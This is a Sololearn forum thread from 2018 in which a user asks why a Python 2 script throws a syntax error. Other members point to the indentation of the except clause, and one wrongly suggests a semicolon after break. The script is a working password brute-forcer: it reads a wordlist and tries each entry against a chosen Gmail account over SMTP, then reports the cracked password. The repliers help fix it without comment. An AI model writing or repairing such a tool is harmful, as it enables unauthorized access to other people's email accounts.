I keep on getting An error in my code... could anybody help me? code in description. Error Is Invalid Syntax at the exception.. | Sololearn: Learn to code for FREE!
Neuer Kurs! Jeder Programmierer sollte generative KI lernen!
Kostenlose Lektion ausprobieren
+ 3

I keep on getting An error in my code... could anybody help me? code in description. Error Is Invalid Syntax at the exception..

import smtplib import os os.system("clear") server = smtplib.SMTP("smtp.gmail.com", 587) server.ehlo() server.starttls() uname = raw_input("Email: ") passfile = raw_input("Password file: ") passfile = open(passfile, "r") for password in passfile: try: server.login(uname, password) print "Password cracked: {}".format(password) break except smtplib.SMTPAuthenticationError: print "Wrong password..."

16th Mar 2018, 10:11 PM
1337 H4x0r
1337 H4x0r - avatar
12 Antworten
+ 11
your except code is totally wrong, write like this try: "code you need to test" except type of the exeption: "code to execute if the error ocured"
16th Mar 2018, 10:38 PM
__Nick
__Nick - avatar
+ 11
your exept has extra tab
16th Mar 2018, 10:46 PM
__Nick
__Nick - avatar
+ 11
heh) good luck!)
16th Mar 2018, 10:47 PM
__Nick
__Nick - avatar
+ 2
It tries the username and pw password and if they are correct the for loop brakes, i put in the exception properly i think
16th Mar 2018, 10:42 PM
1337 H4x0r
1337 H4x0r - avatar
+ 2
+__Nick what did I do wrong?
16th Mar 2018, 10:44 PM
1337 H4x0r
1337 H4x0r - avatar
+ 2
Oh nevermind i figured it out, it was just the indent... haha thanks anyways!
16th Mar 2018, 10:46 PM
1337 H4x0r
1337 H4x0r - avatar
+ 2
We replied at the same time lol
16th Mar 2018, 10:47 PM
1337 H4x0r
1337 H4x0r - avatar
+ 2
thx :)
16th Mar 2018, 10:47 PM
1337 H4x0r
1337 H4x0r - avatar
+ 2
I have already fixed it, but thanks anyways !
29th Mar 2018, 9:53 AM
1337 H4x0r
1337 H4x0r - avatar
+ 2
I already fixed it but thx
1st Apr 2018, 9:16 AM
1337 H4x0r
1337 H4x0r - avatar
0
I think you need to put a ; after break statement like this break;
28th Mar 2018, 6:42 PM
ViJay
ViJay - avatar
0
it should be except : u forgot to put indent :
1st Apr 2018, 9:13 AM
Aishwarya Dhuri
Aishwarya Dhuri - avatar